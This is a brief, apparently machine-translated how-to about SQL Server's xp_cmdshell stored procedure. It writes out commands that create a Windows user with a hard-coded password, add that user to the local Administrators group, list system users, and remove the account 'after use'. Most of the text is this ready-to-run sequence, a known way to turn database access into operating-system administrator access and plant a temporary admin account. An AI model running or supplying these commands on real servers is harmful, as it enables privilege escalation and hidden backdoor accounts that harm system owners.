Adding a system administrator through SQL Server

server| Administrator

If we have administrator privileges on a server SQL Server, we can easily add system administrator users to this server if the server does not have special restrictions.

method, open Query Analyzer, connect to the master library of server SQL Servers, and execute the following SQL statement

xp_cmdshell ' net user Mmcgzs 123qwe!@#/add '
xp_cmdshell ' net localgroup Administrators Mmcgzs/add '

Delete after use

xp_cmdshell ' net localgroup Administrators Mmcgzs/delete '
xp_cmdshell ' Net user mmcgzs/delete '

View existing system users

xp_cmdshell ' Net user '

xp_cmdshell is an extension of SQL that stored procedures, used to execute a command-line statement, we use Net User/add to add a user, and then use the net localgroup command to add this user to the Administrators group, as simple as that.